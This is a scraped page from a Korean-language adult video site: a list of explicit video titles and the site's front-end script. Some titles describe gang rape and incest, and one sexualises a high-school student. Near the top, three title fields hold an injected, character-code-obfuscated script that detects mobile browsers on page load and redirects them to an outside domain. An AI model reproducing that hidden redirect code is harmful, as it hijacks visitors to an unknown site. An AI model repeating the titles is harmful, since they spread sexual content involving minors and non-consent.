추천 영상
01:06:06
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>오호 에로틱 인스타 여성 여성 타락 가이드 츠키히라 보탄
16:07
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>미드나잇 헬스룸 EP13 원하는 만큼 길고 굵게 갖고 싶으신가요? 수술 후 얼마나 지나야 성관계가 가능할까요? 음경 확대 수술의 비밀이 최초로 공개됩니다.</script></title>
20:33
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>미드나잇 헬스룸 EP45 유출 영상 시청, 길거리 미녀 사진 촬영은 불법, 베테랑 운전자는 법을 알아야 함, 경찰이 문을 부수고 들어오는 걸 원치 않는다면, 와서 보세요.
내 작은 보지를 관통당하고 싶어하는 가정교사가 학생을 유혹한다.","lastmod":"2026-07-11","duration":"14:22","url":"/play/19167343.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvN2IyNzgxZTc1NjJiZjExZGFiMjkyYjVmOTBiOTMxMmQuanBn.cache","vod_id":19155659,"title":"졸업식 후… 엄격했던 여교사에 대한 보복으로 집단 강간을 당한다. 감사와 증오가 뒤섞인 감정. (서레이코, 마돈나)","lastmod":"2026-04-29","duration":"02:26:38","url":"/play/19155659.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMjAvZWRhOWM5ODkzNzUyZTM3MjNiMDY5ZDgwZTg1MWRmMDYuanBn.cache","vod_id":19063481,"title":"반장인 나만이 학생 지도교사 사유리의 진짜 모습을 알고 있었다. 방과 후, 그녀와 학교에서 가장 아름다운 여교사가 교내에서 곤란한 상황에 처하게 되었다. (하야마 사유리 JUQ_933)","lastmod":"2025-12-14","duration":"02:29:10","url":"/play/19063481.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMDZjZDQyN2I3MzNhNjBkZWEzMmFiYzAyNTUyNmVmZWUuanBn.cache","vod_id":19159102,"title":"48세인 이모가 하룻밤에 저와 세 번이나 성관계를 가졌습니다. 이모는 삼촌과의 성생활에 불화가 있어서 고민이라고 말했습니다.","lastmod":"2026-05-20","duration":"01:17:19","url":"/play/19159102.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTMxYTZiNjJmOGY4YTU2MzBmYjc1ODhhNDYwZGZkNjguanBn.cache","vod_id":18947007,"title":"✿섹시한 여동생 4.12✿ 아름다운 젊은 여성이 자신을 도와주는 배관공을 유혹하지만, 속옷을 입지 않은 것을 발견하게 됩니다. 그는 필사적으로 그녀를 유혹하려 하지만, 결국 세 번이나 사정하여 그녀의 정액을 모두 빼앗아 버립니다.","lastmod":"2025-12-14","duration":"00:28:30","url":"/play/18947007.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMTgxZjg1NmJkNDU5ODI3OWU4ZDk2YzU5MzVkYzM3YTUuanBn.cache","vod_id":19161106,"title":"장난기 넘치는 여고생이 방과 후부터 아침까지 남자 선생님을 유혹한다. (팔레노의 소설 *에코이 소라*에서 발췌)","lastmod":"2026-06-01","duration":"02:01:18","url":"/play/19161106.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMTEvMTJkZTc4OGIxZWZiYjYyYzQ0MTg1OGI1OGQyNTJmZTAuanBn.cache","vod_id":19062059,"title":"G컵 글래머 과외 선생님, 성적 향상 강사, 학생 개인 지도, 유리 모리시타 MIAA-958","lastmod":"2025-12-14","duration":"01:59:37","url":"/play/19062059.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjhhNzdjNTlmMGY1NWY2Y2RkYzJjM2MxMmQ5ZThjNDAuanBn.cache","vod_id":18978359,"title":"FANH-111 애니메이션 오타쿠 미녀 츠구미짱, 아이돌급 혼혈 여대생과 교외 섹스 스왑 - 그녀의 뻔뻔스러운 질을 격렬하게 자극하고 이끌어가는 - 오리지널 사정","lastmod":"2025-03-23","duration":"02:15:15","url":"/play/18978359.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzI2ZjY3N2NmNDA0MjYyM2YwZmNjODgyNWEyODJlYjAuanBn.cache","vod_id":18983737,"title":"[중국어 자막] FSDSS-638 \"이것이 바로 유린당하는 것이다\" 레몬 타나카의 압도적인 미모와 사랑스러운 사디즘 및 마조히즘 기법은 나를 유혹하고 싶은 욕망을 불러일으켰다. 레몬 타나카","lastmod":"2025-03-23","duration":"02:01:08","url":"/play/18983737.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYzg2ZGJmNDkzNjZkNDA2YzQ3MzBhNjM4YjY2ZWViN2QuanBn.cache","vod_id":19152777,"title":"막차를 놓친 교활한 부하 직원이 귀엽지만 저속한 방법으로 기혼 상사를 유혹한다. (NTR: 사쿠라바 모모나 MXGS-1413)","lastmod":"2026-04-11","duration":"01:59:41","url":"/play/19152777.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDA2NDY1ZTAyNDU3NmI5YmU2MmFmNDAxM2I3NWU5MDUuanBn.cache","vod_id":19015568,"title":"온라인 유출을 통해 포르쉐 판매 스캔들이 드러났습니다. 고객을 유혹해 차를 판매하는 등 업계의 불법적인 관행이 폭로되었습니다.","lastmod":"2025-03-24","duration":"51:20","url":"/play/19015568.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MDMvYTVhOWQ1NTNjOWI3ZDE0NjQwMDAwYWE0ODFkOTk5M2IuanBn.cache","vod_id":19031960,"title":"(오빠들을 유혹하며) 여동생은 부엌에서 엉덩이를 드러낸 채 두 오빠를 유혹하여 근친상간을 저지른다.","lastmod":"2025-05-03","duration":"01:15:49","url":"/play/19031960.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGRkNDU5ZTEyYTJmMjVjYWM1YmEyMWViNGYzNWJmZDYuanBn.cache","vod_id":18953050,"title":"오션 코너 커뮤니티의 근친상간 전문가, \"아내와 처제와 함께 쓰리썸을 하고 싶어요\" ❤️ 그는 섹스 도중 아내와 처제와 함께 쓰리썸을 하고 싶다고 말했습니다. 결국 아내가 동의했고, 그는 매우 흥분했습니다!","lastmod":"2025-12-14","duration":"00:20:48","url":"/play/18953050.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvZWQyNmQxMjAxMjZlY2Y5MGQ0YWFmN2VjOWIzYTA2MTEuanBn.cache","vod_id":19168139,"title":"남편에게 배신당한 섹시한 아내가 나무 그늘 아래에서 자신의 음부를 드러내고 노인을 유혹한다.","lastmod":"2026-07-13","duration":"19:31","url":"/play/19168139.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZTllZjIwOTZjNzE1MzQ2YjkyNDIyYzJiOTNlZjJkMDcuanBn.cache","vod_id":19162542,"title":"오호 에로틱 인스타 여성 여성 타락 가이드 츠키히라 보탄","lastmod":"2026-07-11","duration":"01:06:06","url":"/play/19162542.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjMxMzk1YWViYmQ3YWU2MDE0NDY2MDkzM2VhOWE0NmYuanBn.cache","vod_id":19026339,"title":"[깊은 파고들다!] 음란하고 절정을 유도하는 학생 지도: 자궁 오르가즘 교육 - 이가라시 미즈키 APAK-245-C","lastmod":"2025-03-26","duration":"02:05:45","url":"/play/19026339.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvY2RlNDFhZjVkMjA4NzRlY2M4MmExZWYyMmQ3NWYyZDUuanBn.cache","vod_id":19163811,"title":"미드나잇 헬스룸 EP13 원하는 만큼 길고 굵게 갖고 싶으신가요? 수술 후 얼마나 지나야 성관계가 가능할까요? 음경 확대 수술의 비밀이 최초로 공개됩니다.","lastmod":"2026-07-11","duration":"16:07","url":"/play/19163811.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzFlZDFlNzc2MzU0NGM1NGZhNWExNTVkMDI5YjllMjMuanBn.cache","vod_id":18991511,"title":"300MIUM-392 [궁극의 H컵] 버릇없는 메이드 카페 종업원을 여자친구로 고용하세요! 그가 그녀를 유혹하고 온갖 금지된 에로틱 행위를 저지르는 모든 과정이 녹화됩니다! 가장 강력한 H컵 가슴과 [처녀 킬러 의상]의 조합으로 에로티시즘의 한계를 뛰어넘습니다!! 처녀가 아니면 감당할 수 없는 과한 내용입니다!! 1","lastmod":"2025-03-23","duration":"01:39:51","url":"/play/18991511.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzY5M2M2NzA2MTVkZDA2YjE4Y2ZkZTEwMzQxNWMxZGUuanBn.cache","vod_id":19004410,"title":"[피치미디어] 사정하는 경향이 있는 여성 전기기사가 당신의 밤의 외로움을 달래줄 수 있습니다 - 수원원","lastmod":"2025-03-23","duration":"10:52","url":"/play/19004410.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDUvMzM5YjQ2NTllYzY5Y2U4Y2QxZGM1YjhjMzI4NDgzMDcuanBn.cache","vod_id":19050959,"title":"로얄 0167의 아름다운 이웃이 밤늦게까지 너무 시끄러워서, 제가 에로틱 마사지 테라피스트의 특별 출장 서비스로 보상해 드리겠습니다.","lastmod":"2025-09-04","duration":"22:39","url":"/play/19050959.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2E4NTUyZjkzMjA4ODgyZjE0MTdjMzdlMjhlZTM3YzAuanBn.cache","vod_id":18948119,"title":"GOOD-015 육감적인 아홉 명의 유부녀들이 노출이 심한 작업복과 풍만한 가슴으로 남자들을 유혹하여 5시간 동안 야외에서 섹스를 즐긴다.","lastmod":"2025-12-14","duration":"02:38:13","url":"/play/18948119.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MTQvYzdiYWU1ODE0MTM2OWFjNjU1NWZlMTk5MWExN2M0NTYuanBn.cache","vod_id":19042821,"title":"DASS602: 대본도, 지시도, 연기도 필요 없습니다. 그저 본능에 따라 즐거움에 흠뻑 빠져보세요. 1대1","lastmod":"2025-07-13","duration":"02:37:12","url":"/play/19042821.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZTZlZTA4MGJjNTFmNTBhZWU2MjlhYmRkZGRhMDkwZjMuanBn.cache","vod_id":19164563,"title":"
미드나잇 헬스룸 EP45 유출 영상 시청, 길거리 미녀 사진 촬영은 불법, 베테랑 운전자는 법을 알아야 함, 경찰이 문을 부수고 들어오는 걸 원치 않는다면, 와서 보세요.","lastmod":"2026-07-11","duration":"20:33","url":"/play/19164563.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTFhODMzMjg4Y2JjYzMzOWYwYWUzYmY3NDJlYTc5MDkuanBn.cache","vod_id":19016136,"title":"MIUM458 [슬림 F컵] 여신급 여대생을 여자친구로 렌트하세요! 그녀를 유혹하는 모든 순간을 녹화하고, 평소에는 금기시되는 온갖 에로틱한 행위까지 즐겼습니다! 바다가 보이는 호텔로 데려가 완벽한 몸매를 마음껏 만끽했죠!! 믿을 수 없을 만큼 순수하고 아름다운 소녀가 오일 섹스를 통해 섹시함을 깨워냅니다!!","lastmod":"2025-03-24","duration":"01:36:58","url":"/play/19016136.html"}]},
videoTitle: '심야에 가게에 들렀어요. 노인을 유혹해서 AV 딜도를 사용하는 법을 가르쳐줬죠. 너무 흥분해서 혈압이 확 올랐어요.',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}